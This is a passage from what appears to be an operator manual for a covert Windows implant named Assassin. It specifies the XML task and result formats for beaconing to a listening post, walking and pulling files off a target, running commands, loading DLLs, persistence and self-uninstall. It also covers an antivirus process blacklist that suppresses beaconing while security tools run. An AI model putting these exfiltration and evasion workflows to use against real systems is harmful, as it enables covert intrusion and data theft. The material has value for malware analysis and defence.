All files that are discovered in the push directory will be uploaded to the LP at the Implant cycle, currently every five seconds. The files are only chunked if they are larger than the maximum size allowed by the supported transport method. In addition, unlike files send during the beacon transaction, all of the files will be sent up in one communication session. The only XML data that is provided with a push file is the metadata, which is described above in the Assassin Metadata XML Formats section.

## 18.5 Assassin Result XML File Formats

All Assassin results consist of a result file header, with one or more sets of result XML data stored within. Each result XML field will consist of, at a minimum, a basic result object, the original task information, and all additional information generated from running the task. This section will explain the formatting for each section of the result XML files including examples of the result file and all of the result formats.

### 18.5.1 Result File

The ResultFile tag contains all of the results created by a single task file.

**XML Example**

```
<Assassin>
   <ResultFile version="1.0">
      <TaskFileName>FP5vTzGoPN0hj9bSWjq07Y84o</TaskFileName>
      <Result>
         …
      </Result>
      <Result>
         …
      </Result>
   </ResultFile>
</Assassin>
```

**Attribute Definitions**

*version*

The version attribute specifies the version of the result data format.

**Field Definitions**

*Task File Name*

The task file name field contains the file name that the result data was stored in on the target before being transported to the LP.

In the example above, the file name for the result that was transported was “FP5vTzGoPN0hj9bSWjq07Y84o”.

*Result*

The result field contains the basic result object for a specific task, the original task data, and any other corresponding data. It will be defined in a later section.

### 18.5.2 Basic Result

The basic result field contains result data that is included in every result sent from the target. It contains a standard set of fields, and then it can optionally contain additional custom result objects that will be defined in a later section.

**XML Example**

```
<Result>
   <Command>SetChunkSize</Command>
   <Task>
      . . .
   </Task>
   <ResultCode>ASN_SUCCESS</ResultCode>
   <ExecuteTime>2011-12-16T16:49:44</ExecuteTime>
</Result>
```

**Field Definitions**

*Command*

The command field is a text description of the command that was executed on the target. It can be any of the commands supported by the Assassin Implant.

In the example above, the “Unpersist” command was executed on the target.

*Result Code*

The result code field defines the result of the task execution. This is a text description of a numeric result code sent from the Implant.

In the example above, the result of the executed task was “ASN_SUCCESS” which denotes successful execution of the task. Any other value in this field denotes that the task was unsuccessful for one reason or another.

*Task*

The task field contains the original task data that was used to generate the result. This will be further explained in a later section.

*Execute Time*

The execute time field is the time on the target that the task was executed. The field is outputted in ISO 9601 format.

In the example above, the command was executed on the 16th of December, 2011 at 4:49:44 PM.

### 18.5.3 Windows Result

The windows result object contains the result code provided by running the windows “GetLastError” command. This value can be useful in debugging how a task executed, but is often times not related to the execution of the task. A mapping of the result code to a description can be found using Visual Studio or online.

**XML Example**

```
<WindowsResult>
   <WindowsResultCode>2</WindowsResultCode>
</WindowsResult>
```

**Field Definitions**

*Windows Result Code*

The windows result code field contains the result code provided by running the windows “GetLastError” command.

In the example above, the result code is “2” which translates to “ERROR_FILE_NOT_FOUND” which can result from an invalid path being provided to a task.

### 18.5.4 Execute File Result

The execute file result tag contains the additional data provided by the Implant all execute file tasks.

**XML Example**

```
<ExecuteFileResult>
   <WinResult>87</ WinResult>
   <OutputDataSize>5m</OutputDataSize>
   <LocalFileName>data\execute_data.txt</LocalFileName>
</ExecuteFileResult>
```

**Field Definitions**

*Win Result*

This is an embedded windows result object that will contain the windows “GetLastError” code after the task is executed. For more information see the earlier section describing the windows result field.

*Output Data Size*

When running an execute file in the foreground, the Implant will capture everything sent to standard out and standard error and return that data to the LP. This field contains the size of the data that is returned.

In the example above, 5 megabytes of data was returned from the execution of the task.

*Local File name*

When the result file is received by the LP, the Assassin post processor will generate the result XML and then output any data files that are included in the result. The local file name field will contain the relative local file path to the data file that has all of the execute file output information. It will only be created if there is output data in the result.

In the example above, the local file name field was set to “data\execute_data.txt”. This is a local relative path from the location of the XML file.

### 18.5.5 Get Walk Result

The get walk result tag contains all of the additional data provided by get, file walk, and get walk requests.

#### XML Example

```
<FileWalkResult>
   <FileWalkRecord>
      <FileName>c:\temp\test1.txt</FileName>
      <FileSize>1m</FileSize>
      <CreateTime>2011-12-05T12:11:23</CreateTime>
      <ModifiedTime>2011-12-05T12:11:23</ModifiedTime>
      <AccessedTime>2011-12-05T16:24:11</AccessedTime>
      <GetWalkResult>
         <FileDataSize>1m</FileDataSize>
         <GetResult>ASN_SUCCESS</GetResult>
         <GetWinResult>0</GetWinResult>
         <LocalFileName>data\test1.txt</LocalFileName>
      </GetWalkResult>
   </FileWalkRecord>
   <FileWalkRecord>
      <FileName>c:\temp\test2.txt</FileName>
      <FileSize>5m</FileSize>
      <CreateTime>2011-12-05T12:11:23</CreateTime>
      <ModifiedTime>2011-12-05T12:11:23</ModifiedTime>
      <AccessedTime>2011-12-05T16:24:11</AccessedTime>
      <GetWalkResult>
         <FileDataSize>5m</FileDataSize>
         <GetResult>ASN_SUCCESS</GetResult>
         <GetWinResult>0</GetWinResult>
         <LocalFileName>data\test2.txt</LocalFileName>
      </GetWalkResult>
   </FileWalkRecord>
   . . .
</FileWalkResult>
```

#### Field Definitions

*File Name*

This is the original file name, including the full path, on the target.

In the example above, the full path of the file scanned on the target is “c:\temp\test1.txt”.

*File Size*

This is the size of the file scanned on the target as reported by Windows.

In the example above, the size of the file scanned is 1 mebibyte.

*Create Time*

The create time is the value stored in the windows file meta data describing the date and time that the file was originally created.

In the example above, the scanned file was created on December 5th, 2011 at 12:11:23.

*Modified Time*

The modified time is the value stored in the Windows file meta data describing the data and time that the scanned file was last modified.

In the example above, the scanned file was last modified on December 5th, 2011 at 12:11:23.

*Accessed Time*

The accessed time is the value stored in the Windows file meta data describing the data and time that the scanned file was last opened for any reason.

In the example above, the scanned file was last accessed on December 5th, 2011 at 04:24:11 PM.

*Get Walk Result*

The get walk result tag will only exist in results for either get or get walk requests. The tag contains information gathered while copying the file data for transmission to the LP. Examples and descriptions of the get walk result fields are below.

XML Example

```
<GetWalkResult>
             <FileDataSize>5m</FileDataSize>
             <GetResult>ASN_SUCCESS</GetResult>
             <GetWinResult>0</GetWinResult>
             <LocalFileName>data\test2.txt</LocalFileName>
</GetWalkResult>
```

Field Definitions

*File Data Size*

File data size is the size of the data captured by the request. This value can be different than the file size captured by the scan for multiple reasons, to include offsets, byte size limits, and read errors.

In the example above, the file data size was provided as 5 mebibytes.

*Get Result*

The get result field is the Assassin result code for the file get on the scanned file listed in the file walk record. This field can be any of the standard Assassin result codes.

In the example above, the get result field shows that the retrieval of the file was a success.

*Get Win Result*

The get win result field contains the Windows “GetLastError” value immediately after the scanned file was retrieved.

In the example above, the result code is “0” which translates to “ERROR_SUCCESS” which means no errors occurred during the retrieval.

*Local File name*

When the result file is received by the LP, the Assassin post processor will generate the result XML and then output any data files that are included in the result. The local file name field will contain the relative local file path of the retrieved file.

In the example above, the local file name field was set to “data\test2.txt”. This is a local relative path from the location of the XML file.

### 18.5.6 Get Status Result

The get status result tag contains all of the additional data provided by all get status requests. The results contain a standard set of values and then zero or more custom status results defined in the tasking.

#### XML Example

```
<StatusResult>
   <TargetID>assne1jz</TargetID>
   <TargetVersion>1.1</TargetVersion>
   <TargetCurrentTime>2011-12-21T16:15:11</TargetCurrentTime>
   <StatusResultBasic>
      <HibernateSeconds>1m</HibernateSeconds>
      <UninstallOnDate>2012-12-31T12:00:00<UninstallOnDate />
      <InstalledOnDate>2011-12-21T16:03:17</InstalledOnDate >
   <ExecuteStartedDate>2011-12-21T16:03:17</ExecuteStartedDate >
   </StatusResultBasic>
   <StatusResultBeacon>
      <BeaconInitialWait>1m</BeaconInitialWait>
      <BeaconDefaultInterval>1m</BeaconDefaultInterval>
      <BeaconMaxInterval>5m</BeaconMaxInterval>
   <BeaconBackoffMultiple>1.0</BeaconBackoffMultiple>
   <BeaconConsecutiveFails>10</BeaconConsecutiveFails >
   <BeaconJitter>10s</BeaconJitter >
   </StatusResultBeacon>
   <StatusResultPath>
      <InputPath>c:\temp\input\</InputPath >
      <OutputPath>c:\temp\output\</OutputPath >
      <StartupPath>c:\temp\startup\</StartupPath >
      <StagingPath>c:\temp\staging\</StagingPath >
      <PushPath>c:\temp\push\</PushPath >
   </StatusResultPath>
   <StatusResultDirFiles>
      <FileWalkRecord>
         <FileName>c:\temp\input\zvC3VP</FileName>
         <FileSize>32b</FileSize>
         <CreatedTime>2011-12-21T16:15:06</CreatedTime>
         <ModifiedTime>2011-12-21T16:15:11</ModifiedTime>
         <AccessedTime>2011-12-21T16:15:06</AccessedTime>
      </FileWalkRecord>
      <FileWalkRecord>
         <FileName>c:\temp\output\zvC3VP.WqTCxg</FileName>
      <FileSize>3k231b</FileSize>
      <CreatedTime>2011-12-21T16:15:11</CreatedTime>
      <ModifiedTime>2011-12-21T16:15:11</ModifiedTime>
      <AccessedTime>2011-12-21T16:15:11</AccessedTime>
    </FileWalkRecord>
    <FileWalkRecord>
      <FileName>c:\temp\startup\~ffjas~1.urm</FileName>
      <FileSize>1k988b</FileSize>
      <CreatedTime>2011-12-21T16:04:17</CreatedTime>
      <ModifiedTime>2011-12-21T16:14:07</ModifiedTime>
      <AccessedTime>2011-12-21T16:04:17</AccessedTime>
    </FileWalkRecord>
  </StatusResultDirFiles>
  <StatusResultComms>
    <ChunkSize>1m</ChunkSize>
    <TransportList>
      <Transport type="HTTPS" tries="2">
        <Host>assassin_lp</Host>
        <Port>443</Port>
        <ProxyCredentials />
      </Transport>
    </TransportList>
  </StatusResultComms>
  <StatusResultList>
    <Blacklist>
      <Prog>avira.exe</Prog>
      <Prog>avg.exe</Prog>
    </Blacklist>
    <Whitelist />
  </StatusResultList>
  <StatusResultICE>
    <ICEStatus>
      <ID>1</ID>
      <StartTime>2013-04-01T00:00:00</StartTime>
      <ICEBehavior>faf</ICEBehavior>
    </ICEStatus>
    <ICEStatus>
      <ID>2</ID>
      <StartTime>2013-04-01T01:00:00</StartTime>
      <ICEBehavior>forget</ICEBehavior>
```

```
        </ICEStatus>
    </StatusResultICE>
</StatusResult>
```

**Field Definitions**

*Target ID*

The ID tag contains information describing what the target ID for the configured Implant will be. The ID consists of a parent and child ID, each of which consists of 4 alpha-numeric characters. The parent ID is required and the child ID can be set to be generated automatically at build time if it is left blank.

In the example above, the D is defined as ‘assne1jz’.

*Target Version*

The target version field specifies the version of the Assassin Implant that provided the results.

In the example above, the code version returned from the Implant is Assassin version 1.1

*Target Current Time*

The target current time defines the exact time on the target when the task was executed.

In the example above, the current time of the target when the task ran was December 21st, 2011 at 4:15:11 PM.

*Status Result Basic*

The status result basic field is a custom status result that provides some of the generic Implant settings as described below.

XML Example

```
<StatusResultBasic>
                <HibernateSeconds>1m</HibernateSeconds>
                <UninstallOnDate>2012-12-31T12:00:00<UninstallOnDate/>
                <InstalledOnDate>2011-12-21T16:03:17</InstalledOnDate>
                <ExecuteStartedDate>2011-12-21T16:03:17</ExecuteStartedDate>
</StatusResultBasic>
```

Field Definitions

*Hibernate Seconds*

Hibernate seconds field shows the amount of time that the target hibernated before starting communication with the LP.

In the example above, the target would have remained inactive for one minute before beginning the beacon cycle.

*Uninstall On Time*

The uninstall on time field describes the time which the target Implant is set to uninstall. This may be blank depending if the value has been set or not.

In the example above, the target Implant is set to uninstall at noon on December 12th, 2012.

*Install On Time*

The install on time field describes the time that the target Implant was first executed.

In the example above, the target Implant began execution for the first time on December 12th, 2011 at 4:03:17 PM.

*Execute Started Time*

The execute started time is the last time that the target began executing. This value is reset every time the target reboots.

In the example above, the target Implant began execution on December 12th, 2011 at 4:03:17 PM.

*Status Result Beacon*

The status result beacon field is a custom status result that provides all of the current beacon settings.

XML Example

```
<StatusResultBeacon>
             <BeaconInitialWait>1m</BeaconInitialWait>
             <BeaconDefaultInterval>1m</BeaconDefaultInterval>
             <BeaconMaxInterval>5m</BeaconMaxInterval>
             <BeaconBackoffMultiple>1.0</BeaconBackoffMultiple>
             <BeaconConsecutiveFails>10</BeaconConsecutiveFails>
             <BeaconJitter>10s</BeaconJitter>
</StatusResultBeacon>
```

Field Definitions

*Beacon Initial Wait*

The initial wait is defined as the time the beacon will wait after execution before starting the beacon process.

In the example above, the initial wait of the target is set to one minute.

*Beacon Default Interval*

The default interval is defined as the default time between beacon attempts. This value will be used after every successful beacon.

In the example above, the default interval of the target is set to one minute.

*Beacon Max Interval*

The max interval is the maximum amount of time between beacons.

In the example above, the max interval of the target is set to five minutes.

*Beacon Backoff Multiple*

The backoff multiple is the multiplier used to increase the beacon interval time after a communications failure

In the example above, the backoff multiple has been set to one. This will cause the beacon interval to stay the same after a failure.

*Beacon Consecutive Fails*

The beacon consecutive fails is the maximum consecutive beacon failure count for the target. If this number is reached the target Implant will uninstall.

In the example above, the count value has been set to 10.

*Beacon Jitter*

The jitter is the maximum variance that will be applied to the current beacon interval. The variance will be a random number between 0 and the maximum.

In the example above, the jitter has been set to ten seconds.

*Status Result Path*

The status result path field is a custom status result that provides a listing of all of the target implants directories.

XML Example

```
<StatusResultPath>
              <InputPath>c:\temp\input\</InputPath>
              <OutputPath>c:\temp\output\</OutputPath>
              <StartupPath>c:\temp\startup\</StartupPath>
              <StagingPath>c:\temp\staging\</StagingPath>
              <PushPath>c:\temp\push\</PushPath>
</StatusResultPath>
```

Field Definitions

*Paths*

The paths field is a listing of all of the target implants directories. For a more detailed description see the paths entry in the Assassin receipt file description.

*Status Result Dir Files*

The status result dir filesfield is a custom status result that provides a file walk of all of the files in the target implants directories.

XML Example

```
<StatusResultDirFiles>
             <FileWalkRecord>
                    <FileName>c:\temp\input\zvC3VP</FileName>
                    <FileSize>32b</FileSize>
                    <CreatedTime>2011-12-21T16:15:06</CreatedTime>
                    <ModifiedTime>2011-12-21T16:15:11</ModifiedTime>
                    <AccessedTime>2011-12-21T16:15:06</AccessedTime>
             </FileWalkRecord>
             <FileWalkRecord>
                    <FileName>c:\temp\output\zvC3VP.WqTCxg</FileName>
                    <FileSize>3k231b</FileSize>
                    <CreatedTime>2011-12-21T16:15:11</CreatedTime>
                    <ModifiedTime>2011-12-21T16:15:11</ModifiedTime>
                    <AccessedTime>2011-12-21T16:15:11</AccessedTime>
             </FileWalkRecord>
             . . .
</StatusResultDirFiles>
```

Field Definitions

*File Walk Record*

The file walk record entries are the results of a file walk command ran on the target Implant directories. For a definition of the file walk record entries see the section on get walk results.

*Status Result Comms*

The status result comms field is a custom status result that provides the target implant’s communication settings.

XML Example

```
<StatusResultComms>
             <ChunkSize>1m</ChunkSize>
             <TransportList>
                    <Transport type=”HTTPS” tries="2">
                           <Host>assassin_lp</Host>
                           <Port>443</Port>
                           <ProxyCredentials />
                    </Transport>
             </TransportList>
```

```
</StatusResultComms>
```

Field Definitions

*Chunk Size*

The chunk size field sets the maximum file size that will be uploaded to the LP at a time. Any file that is larger than the chunk size will be broken up into multiple parts, and then reassembled at the post processing step.

In the example above, the chunk size value is set to one mebibyte.

*Transport List*

The transport list field contains all of the transport settings for the target Implant. For a more detailed definition of the transport list field see the Assassin Receipt file description of the transport list field.

*Status Result List*

The status result list field is a custom status result that provides both the target implant's blacklist and whitelists.

XML Example

```
<StatusResultList>
             <Blacklist>
                    <Prog>avira.exe</Prog>
                    <Prog>avg.exe</Prog>
             </Blacklist>
             <Whitelist />
</StatusResultList>
```

Field Definitions

*Blacklist*

The blacklist is a list of programs that, if running, will cause the beacon to not attempt communication. For a more detailed description of the blacklist see the Assassin Receipt file description of blacklist.

*Whitelist*

The whitelist is a list of programs that must be running for the target to attempt a beacon. For a more detailed description of the blacklist see the Assassin Receipt file description of whitelist.

*Status Result ICE*

The status result ice field is a custom status result that provides information on all currently running or forgotten ICE and FAF DLLs.

XML Example

```
<StatusResultICE>
```

```
    <ICEStatus>
        <ID>1</ID>
        <StartTime>2013-04-01T00:00:00</StartTime>
        <ICEBehavior>faf</ICEBehavior>
    </ICEStatus>
    <ICEStatus>
        <ID>2</ID>
        <StartTime>2013-04-01T01:00:00</StartTime>
        <ICEBehavior>forget</ICEBehavior>
    </ICEStatus>
</StatusResultICE>
```

## Field Definitions

### *ICE Status*

The ICE status field includes information for a specific ICE / FAF DLL load. It includes the sequential DLL id, the time the DLL was loaded, and the behavior of the DLL.

## 18.6 Assassin Task XML File Formats

All Assassin task files consist of a task file header, with one or more sets of task XML data stored within. This section will explain the formatting for each section of the task XML files including examples of the task file and all of the task formats.

### 18.6.1 Task File

The task file tag contains all of the tasks that make up a batch

**XML Example**

```
<Assassin>
   <TaskFile runmode=”r”filename=”c:\temp\test.tsk” >
      <Task>
         . . .
      </ Task >
      < Task >
         . . .
      </ Task >
   </ TaskFile>
</Assassin>
```

**Attribute Definitions**

*runmode*

The runmode attribute defines the runmode for the batch and how it will be executed on target.

*filename*

The filename attribute specifies where the task will be stored after it is generated by the Tasker.

**Field Definitions**

*Task*

The task fields displayed in this example can be any of the custom tasking tags that are defined in the following section. The task file will always have one or more of these tasks per file.

### 18.6.2 Clear Queue

The clear queue command tells the target Implant to delete all of the files currently waiting to be transported. This command takes no arguments and is a Boolean field.

#### XML Example

```
<ClearQueue />
```

### 18.6.3 Delete File

The delete file command will cause the target Implant to delete a file on the target system. The file can be deleted normally or securely, which overwrites the files memory with zeros.

#### XML Example

```
<DeleteFile>

   <RemoteFile>c:\temp\test.delete.txt</RemoteFile>

   <Secure />

</DeleteFile>
```

#### Field Definitions

*Remote File*

The remote file field defines the full path of the file to be deleted on the target system. In the example above, the file targeted for deletion is “c:\temp\test.delete.txt”.

*Secure*

The secure field is a Boolean field. If the field is present in the XML, the task will tell the target to securely delete the file.

### 18.6.4 Execute

The execute command will cause the target Implant to run a specified command with arguments on the target system. The command can be run either in the foreground or the background. If executed in the foreground, all of the data sent to both standard out and standard error will be captured and returned in the Assassin result file.

#### XML Example

```
<Execute>
   <RemoteFile>c:\windows\system32\ping.exe</RemoteFile>
   <Args>candlestick.devlan.net</Args>
   <Foreground/>
</Execute>
```

#### Field Definitions

*Remote File*

The remote file field defines the full path of the file to execute. In the example above, the file to be executed will be “c:\windows\system32\ping.exe”.

*Args*

The args field defines the arguments, if any, to provide to the file being executed. In the example above, the arguments have been set to “candlestick.devlan.net”.

*Foreground*

The foreground field is a Boolean field. If the field is present in the XML, the task will tell the target Implant to capture all of the execute output and return it in the results.

### 18.6.5 Get Status

The get status command will cause the target to provide a series of settings based on the provided command options.

#### XML Example

```
<GetStatus>
    <Mode>persistent</Mode>
    <Params>
        <Param>basic</Param>
        <Param>beacon</Param>
        <Param>comms</Param>
        <Param>dir_files</Param>
    </Params>
</GetStatus>
```

#### Field Definitions

*Mode*

The mode field tells the target Implant where to retrieve the settings from. The available options are: persistent, factory, and running. In the example above, the target Implant will return settings in the persistent store.

*Params*

The params field contains all of the optional get status parameters. The get status command supports the following parameter types: all, basic, beacon, comms, dirs, dir_files, and list. The all parameter will cause the target Implant to return all of the available values.

In the example above, the target Implant will return the values for the parameters: basic, beacon, comms, and dir_files. See the get status result section of the XML guide for a more detail listing of the values returned by the various parameters.

### 18.6.6 Get Walk

The get walk command will cause the target to scan the targets directory structure and return results based on the parameters provided to the command.

**XML Example**

```
<GetWalk>
   <RemoteDirectory>c:\temp</RemoteDirectory>
   <Wildcard>*</Wildcard>
   <Depth>10</Depth>
   <TimeCheckType>greater</TimeCheckType>
   <Date>2010-01-01T12:00:00</Date>
   <GetFile>
      <Bytes>1m</Bytes>
      <Offset>5m</Offset>
   </GetFile>
</GetWalk>
```

**Field Definitions**

*Remote Directory*

The remote directory field defines the full path to the directory that the target Implant is to begin the scan in.

In the example above, the starting directory is “c:\temp”.

*Wildcard*

The wildcard field defines the expression to use when searching through the file structure. The more refined the expression, the smaller the results will be.

In the example above, the wildcard is set to “*”, which will return data for every file found in the scan.

*Depth*

The depth field tells the Implant how many directories down from the starting directory to search. A depth of 0 will only scan the starting directory.

In the example above, the depth is set to 10, which, depending on the search string, could yield a very large result

*Time Check Type*

The time check type field defines what type of comparison to use when checking files. This field is used in conjunction with the Date field and can be any one of the following values: no_check, greater, and less.

In the example above, the time check type field is set to “greater”, meaning only files that have a modified date greater than the date provided in the date field will be included in the results.

*Date*

The date field provides the date value to use in conjunction with the time check type field.

In the example above, only files that have a modified date greater than January 1st, 2010 at noon will be included in the results.

*Get File*

The get file group of values are only included if the target Implant should retrieve the file data in addition to the metadata. If this tag exists, then the file data will be retrieved.

*Bytes*

The bytes flag is part of the get file group of values and defines a maximum number of bytes to read from each file.

In the example above the bytes field is set to onemegabyte. If the value was 0 the target would retrieve the complete file

*Offset*

The offset flag is part of the get file group of values and defines an offset into the file to use before retrieving the file data.

In the example above, the offset field is set to 5 megabytes, meaning data gathered will begin at the 5 megabytes point in the file. If a file is smaller than the offset, no data will be collected.

### 18.6.7 FAF Load

The load FAF command tells the target Implant to load the provided FAF DLL into memory and execute it using the Fire and Forget V2 specification.

**XML Example**

```
<ICELoad>
   <FeatureSet>faf</FeatureSet>
   <Ordinal>1</Ordinal>
   <CmdLine>append</CmdLine>
   <FileSize>1m</FileSize>
   <FAFDLLPath>c:\test\faf-test.dll</FAFDLLPath>
</ICELoad>
```

**Field Definitions**

*Feature Set*

The feature set field describes the feature set to use when loading and executing the DLL. For Fire and Forget V2 DLLs this value will always be “faf”.

*Ordinal*

The ordinal field describes the ordinal function that will be executed once the DLL has been loaded into memory. For Fire and Forget V2 DLLs this value will always be 1.

*Command Line*

The command line field describes the command line arguments to pass to the ordinal call on execution.

In the example above, the command line value “append” will be passed to the ordinal.

*File Size*

The file size field describes the size of the DLL file that is going to be uploaded to the target.

In the example above, the DLL file is one megabyte.

*DLL Path*

The DLL path field describes the local full path to the DLL file that is going to be uploaded to the target.

In the example above, the local file “c:\test\faf-test.dll” will be uploaded to the target.

### 18.6.8 ICE Load

The load ICE command tells the target Implant to load the provided ICE DLL into memory and execute it using the ICE V3 specification.

**XML Example**

```
<ICELoad>
    <FeatureSet>forget</FeatureSet>
    <Ordinal>10</Ordinal>
    <CmdLine>append</CmdLine>
    <FileSize>1m</FileSize>
    <DLLPath>c:\test\ice-test.dll</DLLPath>
</ICELoad>
```

**Field Definitions**

*Feature Set*

The feature set field describes the feature set to use when loading and executing the DLL. Assassin currently only supports the "fire" and "forget" ICE feature sets.

In the example above, the feature set field is set to "forget".

*Ordinal*

The ordinal field describes the ordinal function that will be executed once the DLL has been loaded into memory. For ICE V3 this value will be ingested from the provided DLL's metadata file.

In the example above, the ordinal field is set to 10.

*Command Line*

The command line field describes the command line arguments to pass to the ordinal call on execution.

In the example above, the command line value "append" will be passed to the ordinal.

*File Size*

The file size field describes the size of the DLL file that is going to be uploaded to the target.

In the example above, the DLL file is one megabyte.

*DLL Path*

The DLL path field describes the local full path to the DLL file that is going to be uploaded to the target.

In the example above, the local file "c:\test\ice-test.dll" will be uploaded to the target.

### 18.6.9 Persist Settings

The persist settings command tells the target Implant to store all of the current settings in memory to the persistent store. This command takes no arguments and is similar to a Boolean XML field.

#### XML Example

```
<PersistSettings />
```

### 18.6.10 Put

The put command will take a local file and place it in a specified directory on the target system using whatever name is provided.

**XML Example**

```
<Put>
   <LocalFile>c:\temp\test.x.txt</LocalFile>
   <RemoteFile>c:\temp\test.put.txt</RemoteFile>
   <Mode>append</Mode>
</Put>
```

**Field Definitions**

*Local File*

The local file field describes the local full path to the local file that is going to be uploaded to the target.

In the example above, the local file “c:\temp\test.x.txt” will be uploaded to the target.

*Remote File*

The remote file field describes the remote full file path that the local file will be copied to.

In the example above, the file will be copied to “c:\temp\test.put.txt”.

*Mode*

The mode field defines the write mode for the request. The field only accepts the following options: only_new, always, and append.

In the example above, the data will be appended to the existing file. If the file doesn’t exist, the file will be created, and the data will be added.

### 18.6.11 Restore Defaults

The restore defaults command sets the running settings to the original build values. The command takes a series of options that control which settings will be restored.

**XML Example**

```
<RestoreDefaults>
   <Param>list</Param>
   <Param>comms</Param>
</RestoreDefaults>
```

**Field Definitions**

*Param*

The param field contains all of the parameters defining which settings will be restored. One or more param value must be provided. The param field supports the following values: all, basic, beacon, comms, and list. The all settings parameter will cause the target Implant restore all available settings values.

In the example above, only the list and comms values will be restored. See the user guide for a description of the specific values that will be restored with each parameter type.

#### 18.6.12 Safety

The safety command changes the default beacon interval to the value provided. This command is mapped to the safety feature and is not intended to be executed manually. In addition, this command is the only Assassin command that will not have a response. This was intentionally done to avoid the transport queue and LP getting clogged with automated safety commands.

**XML Example**

```
<Safety>
   <Seconds>1h</Seconds>
</Safety>
```

**Field Definitions**

*Seconds*

The seconds field defines the value that the beacon default interval will be set to. In the example above the beacon default interval will be set to 1 hour.

### 18.6.13 Set Beacon Failure

The set beacon failure command will change the target implants running maximum beacon failure limit to the number provided.

**XML Example**

```
<SetBeaconFailure>
   <Count>999</Count>
</SetBeaconFailure>
```

**Field Definitions**

*Count*

The count field contains the value that the maximum consecutive beacon failure count value will be set to. In the example above the count will be set to 999

### 18.6.14 Set Beacon Params

The set beacon params command will change one or more of the target implants running beacon interval settings.

#### XML Example

```
<SetBeaconParams>

   <InitialWait>10m</InitialWait>

   <MaxInterval>60</MaxInterval>

   <DefaultInterval>15</DefaultInterval>

   <BackoffMultiple>1.35</BackoffMultiple>

   <Jitter>5</Jitter>

</SetBeaconParams>
```

#### Field Definitions

*Initial Wait*

The initial wait field defines the length that the Implant will wait after startup before it begins the beacon cycle. In the example above, the length is set to ten minutes.

*Max Interval*

The max interval field defines the maximum length that the target Implant will wait between beacons. In the example above, the max interval is set to sixty seconds.

*Default Interval*

The default interval field defines the default time the Implant will wait between beacons. In the example above, the default interval is set to fifteen seconds.

*Backoff Multiple*

The backoff field multiple defines the multiplier that is applied to the current beacon interval after a failure. In the example above, the backoff multiple is set to 1.35.

*Jitter*

The jitter field defines the maximum variance that is applied to the current beacon interval. In the example above, the jitter is set to five seconds.

### 18.6.15 Set Blacklist

The blacklist field defines a set of process names that if running will cause the beacon to not attempt to communicate.

**XML Example**

```
<SetBlacklist>
   <Prog>norton.exe</Prog>
   <Prog>msse.exe</Prog>
</SetBlacklist>
```

**Field Definitions**

*Prog*

The prog field defines one of the program names in the blacklist. The set blacklist command can have zero or more of these entries. No programs defined disable the blacklist function. In the example above, the target implants running blacklist will include “norton.exe” and “msse.exe”.

### 18.6.16 Set Chunk Size

The set chunk size command sets the target implants running chunk size value. This value controls the maximum file size that the target will upload to the LP at any one time.

#### XML Example

```
<SetChunkSize>

   <Bytes>512</Bytes>

</SetChunkSize>
```

#### Field Definitions

*Bytes*

The bytes field defines the number of bytes the target implants running chunk size will be set to. In the example above, the chunk size will be set to 512 bytes.

### 18.6.17 Set Hibernate

The set hibernate command will change the initial Implant hibernation time to the new value. The new value, if greater than the current time from install, will cause the target Implant to go into hibernation until the time has passed.

#### XML Example

```
<SetHibernate>

   <Seconds>5d</Seconds>

</SetHibernate>
```

#### Field Definitions

*Seconds*

The seconds field describes the number of seconds from initial install that the target Implant will remain inactive before beginning the beaconing process. In the example above, the hibernation time will be set to 5 days from install.

### 18.6.18 Set Transport

The set transport command will change the transport configuration of the implant.

**XML Example**

```
<TransportList>
   <Transport type=”HTTPS” tries="2">
      <Host>assassin_lp</Host>
      <Port>443</Port>
      <ProxyCredentials />
   </Transport>
</TransportList>
```

**Field Definitions**

*Transport List*

The transport list defines the order and settings for the target implant’s transport. For further information on the transport list, see the transports section of the Assassin XML receipt definitions section.

### 18.6.19 Set Uninstall Date

**XML Example**

```
<SetUninstallDate>
   <Date>2021-01-01T01:01:01</Date>
</SetUninstallDate>
```

**Field Definitions**

*Date*

The date field defines the date and time that the target will uninstall. In the example above, the target Implant will uninstall on January 1st, 2021 at 1:01:01 AM.

### 18.6.20 Set Uninstall Timer

**XML Example**

```
<SetUninstallTimer>
    <Seconds>1w</Seconds>
</SetUninstallTimer>
```

**Field Definitions**

*Seconds*

The seconds field defines the length of time, after task execution, that the target Implant will uninstall. In the example above, the target Implant will uninstall 1 week after the task is executed.

### 18.6.21 Set Whitelist

The whitelistfield defines a set of process names that, at least one must be running for the beacon attempt to occur.

**XML Example**

```
<SetWhitelist>
   <Prog>iexplore.exe</Prog>
   <Prog>firefox.exe</Prog>
</SetWhitelist>
```

**Field Definitions**

*Prog*

The prog field defines one of the program names in the whitelist. The set whitelist command can have zero or more of these entries. No programs defined disable the whitelist function. In the example above, the target implants running whitelist will include “iexplore.exe” and “firefox.exe”.

### 18.6.22 Uninstall

The uninstall command tells the target Implant to uninstall itself on its next tasking cycle, or 5 seconds after finishing the task processing. This command takes no arguments and is similar to a Boolean XML field.

**XML Example**

```
<Uninstall />
```

### 18.6.23 Unpersist

The unpersist command tells the target Implant to remove its persistence mechanism. Once this command has executed, if the target device reboots, the target will no longer start. This command takes no arguments and is similar to a Boolean XML field.

**XML Example**

```
<Unpersist/>
```

### 18.6.24 Upload All

The upload all command tells the target Implant to upload all remaining files awaiting upload. Based on the amount of data to transmit, this can cause a load on the target device and it will render the target Implant unresponsive until the command has completed, so this command should be used sparingly. This command takes no arguments and is similar to a Boolean XML field.

**XML Example**

```
<UploadAll />
```

# 19 Frequently Asked Questions

**What can I do to get my results faster?**

- Generate commands with a 'push' run mode. The implant will immediately upload the result, bypassing any files in the output queue and ignoring chunk size.
- Lower the beacon interval. This will increase the frequency at which the implant communicates with the listening post.
- Set a larger chunk size (using `set_chunksize`).
  Note: This can be done <u>after</u> a large command, resulting in the implant uploading multiple smaller chunks during every beacon.
- Send an `upload_all` command to the implant.
  Warning: This may result in a large amount of bandwidth usage over a short period of time.

**The implant is uploading too much data; how can I slow it down?**

- Avoid running large commands with a 'push' run mode or placing large files in the push directory.
- Raise the beacon interval to space out upload operations.
- Set a smaller chunk size (using `set_chunk_size`).
  Note: Any file in the output queue will not be re-chunked to a smaller size; since at least one chunk is sent every beacon, this may not actually slow down the rate. Use `clear_queue` and re-run lost commands if the implant absolutely, positively must slow down.

**How can I get the output of a third-party tool on target?**

- Configure the tool to write result files to Assassin's output directory. The implant will automatically ingest the file and add it to the upload queue.
- Configure the tool to write result files to Assassin's push directory. The implant will automatically ingest the file and upload it immediately.
- Run the tool using `execute_fg`. The implant will collect the tool's stdout and exit code before saving the result for upload. Note: Assassin blocks on `execute_fg` tasks.
